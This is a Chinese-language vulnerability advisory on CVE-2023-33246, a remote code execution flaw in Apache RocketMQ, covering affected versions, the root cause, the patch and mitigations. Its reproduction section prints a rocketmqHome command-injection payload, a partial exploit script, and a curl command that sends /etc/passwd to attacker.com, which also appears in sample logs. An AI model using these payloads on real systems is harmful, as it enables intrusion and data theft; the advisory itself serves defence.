一、漏洞简介¶
1.1 漏洞背景¶
Apache RocketMQ 是一款开源的分布式消息和流处理平台,被广泛应用于企业级消息队列场景。2023年5月,安全研究人员发现 RocketMQ 存在严重的远程代码执行漏洞,该漏洞已被 CISA(美国网络安全和基础设施安全局)列入已知被利用漏洞目录(KEV),并已被 DreamBus 僵尸网络活跃利用。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2023-33246 |
| 危害等级 | CRITICAL / 9.8 |
| 漏洞类型 | 远程代码执行漏洞 |
| 披露时间 | 2023-05-24 |
| 影响组件 | Apache RocketMQ 安全 |
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2023-33246 |
| 漏洞类型 | 远程代码执行(RCE)/ 代码注入 |
| 危害等级 | 严重(Critical) |
| CVSS评分 | NVD暂未公布官方评分,根据漏洞性质评估为 9.8(严重) |
| CWE分类 | CWE-94:代码生成控制不当(代码注入) |
| 影响组件 | NameServer、Broker、Controller |
漏洞描述:在 RocketMQ 5.1.0 及以下版本中,NameServer、Broker 和 Controller 组件暴露在外网且缺乏权限验证。攻击者可以通过更新配置功能执行任意系统命令,命令将以 RocketMQ 运行用户的权限执行。此外,攻击者还可以通过伪造 RocketMQ 协议内容实现相同效果。
<hr />补充核验信息:公开时间:2023-05-24;NVD 评分:9.8(CRITICAL);CWE:CWE-94。
二、影响范围¶
2.1 受影响的版本¶
| 版本系列 | 受影响版本 |
|---|---|
| RocketMQ 5.x | 5.1.0 及以下版本 |
| RocketMQ 4.x | 4.9.5 及以下版本 |
2.2 不受影响的版本¶
| 版本系列 | 安全版本 |
|---|---|
| RocketMQ 5.x | 5.1.1 及以上 |
| RocketMQ 4.x | 4.9.6 及以上 |
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 网络暴露:NameServer(默认端口9876)、Broker(默认端口10911)或 Controller 组件直接暴露在公网
- 缺乏权限验证:组件未启用访问控制或认证机制
- 配置更新功能开启:允许远程更新配置参数
攻击面端口: - NameServer: 9876 - Broker: 10909, 10911, 10912 - Controller: 根据配置
<hr />三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
漏洞的核心在于 RocketMQ 的配置更新接口(UPDATE_BROKER_CONFIG、UPDATE_NAMESRV_CONFIG、UPDATE_CONTROLLER_CONFIG)缺乏适当的权限验证和输入过滤。
攻击链路:
- 配置更新请求:攻击者发送包含恶意配置的更新请求
- 配置注入:恶意配置被写入 RocketMQ 配置项
- 命令执行:通过修改
rocketmqHome等关键配置路径,在 RocketMQ 执行相关操作时触发命令注入
关键利用点:rocketmqHome 配置项
攻击者可以将 rocketmqHome 从正常路径(如 /home/rocketmq/rocketmq-4.9.4)修改为恶意命令字符串。当 RocketMQ 后续执行调用该路径的操作时,系统会将恶意命令作为 shell 命令执行。
典型攻击 payload 示例:
rocketmqHome = -c $@|sh . echo <恶意命令>;
filterServerNums = 1
3.2 源码层面的根因分析(结合源码与补丁对比)¶
问题代码位置:
在漏洞修复补丁中(Commit: 9d411cf04a695e7a3f41036e8377b0aa544d754d 和 c3ada731405c5990c36bf58d50b3e61965300703),官方引入了配置路径保护机制。
修复前的问题:
- 配置更新处理器(如 AdminBrokerProcessor、DefaultRequestProcessor)未对可更新的配置项进行白名单校验
- 敏感配置项(如 rocketmqHome、configStorePath、kvConfigPath)可被远程修改
修复方案:
// 修复后的配置更新检查逻辑(简化示意)
public RemotingCommand processRequest(ChannelHandlerContext ctx, RemotingCommand request) {
Properties properties = MixAll.string2Properties(new String(request.getBody()));
// 检查是否包含禁止更新的配置路径
for (String key : properties.stringPropertyNames()) {
if (key.contains("configPath") || key.contains("rocketmqHome")) {
RemotingCommand response = RemotingCommand.createResponseCommand(ResponseCode.NO_PERMISSION,
"Can not update config path");
return response;
}
}
// ... 正常处理逻辑
}
核心修复点:
1. 配置路径保护:禁止运行时更新包含 configPath、rocketmqHome 等敏感路径的配置
2. 权限响应:返回 ResponseCode.NO_PERMISSION 并附带提示信息
四、漏洞复现(可选)¶
4.1 环境搭建¶
使用 Docker 快速部署漏洞环境:
# 拉取受影响版本镜像
docker pull apache/rocketmq:4.9.4
# 启动 NameServer
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv
# 启动 Broker
docker run -d --name rmqbroker --link rmqnamesrv:namesrv \
-e "NAMESRV_ADDR=namesrv:9876" \
-p 10909:10909 -p 10911:10911 -p 10912:10912 \
apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf
4.2 PoC 演示与测试过程¶
利用脚本示例(Python):
# CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py
import socket
import sys
def exploit(target_ip, target_port, command):
# 构造恶意配置更新请求
payload = f"rocketmqHome=-c $@|sh . echo {command};\nfilterServerNums=1"
# 发送 UPDATE_BROKER_CONFIG 请求
# ... 协议构造代码
print(f"[*] Sending exploit to {target_ip}:{target_port}")
print(f"[*] Command: {command}")
if __name__ == "__main__":
if len(sys.argv) < 4:
print("Usage: python3 exploit.py <ip> <port> <command>")
sys.exit(1)
exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3])
执行利用:
python3 exploit.py 127.0.0.1 10911 "curl http://attacker.com/exfil --data @/etc/passwd"
检测被攻击迹象:
查看 Broker 日志,若发现类似以下记录则表明可能已被攻击:
2023-06-03 13:51:37 INFO AdminBrokerThread_5 - Replace, key: rocketmqHome, value: /home/rocketmq/rocketmq-4.9.4 -> -c $@|sh . echo curl http://attacker.com/exfil --data @/etc/passwd;
2023-06-03 13:51:37 INFO AdminBrokerThread_5 - updateBrokerConfig called by 172.17.0.1:56412
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
强烈建议立即升级到安全版本:
| 当前版本 | 升级目标版本 |
|---|---|
| RocketMQ 5.x ≤ 5.1.0 | 升级至 5.1.1 或更高版本 |
| RocketMQ 4.x ≤ 4.9.5 | 升级至 4.9.6 或更高版本 |
Maven 依赖更新:
<dependency>
<groupId>org.apache.rocketmq</groupId>
<artifactId>rocketmq-broker</artifactId>
<version>4.9.6</version> <!-- 或 5.1.1+ -->
</dependency>
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
若无法立即升级,请采取以下临时措施:
1. 网络隔离
# 使用防火墙限制访问
iptables -A INPUT -p tcp --dport 9876 -s <内网网段> -j ACCEPT
iptables -A INPUT -p tcp --dport 9876 -j DROP
iptables -A INPUT -p tcp --dport 10911 -s <内网网段> -j ACCEPT
iptables -A INPUT -p tcp --dport 10911 -j DROP
2. 启用 ACL 访问控制
在 broker.conf 中配置:
aclEnable=true
创建 plain_acl.yml 配置文件:
globalWhiteRemoteAddresses:
- 10.10.103.*
- 192.168.0.*
accounts:
- accessKey: admin
secretKey: <强密码>
whiteRemoteAddress:
admin: true
3. WAF 规则拦截
在 WAF 中添加规则拦截包含以下特征的请求:
- 请求体中包含 rocketmqHome 参数
- 请求体中包含 shell 特殊字符组合(如 $@|sh)
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- Apache 官方公告:https://lists.apache.org/thread/1s8j2c8kogthtpv3060yddk03zq0pxyp
- GitHub 安全补丁:https://github.com/apache/rocketmq/commit/9d411cf04a695e7a3f41036e8377b0aa544d754d
- GitHub 安全补丁:https://github.com/apache/rocketmq/commit/c3ada731405c5990c36bf58d50b3e61965300703
- RocketMQ 4.9.6 发布:https://github.com/apache/rocketmq/releases/tag/rocketmq-all-4.9.6
6.2 其他技术参考资料¶
- NVD 漏洞数据库:https://nvd.nist.gov/vuln/detail/CVE-2023-33246
- CISA 已知被利用漏洞目录:https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- oss-security 邮件列表:http://www.openwall.com/lists/oss-security/2023/07/12/1
- vsociety 漏洞分析:https://www.vicarius.io/vsociety/posts/rocketmq-rce-cve-2023-33246-33247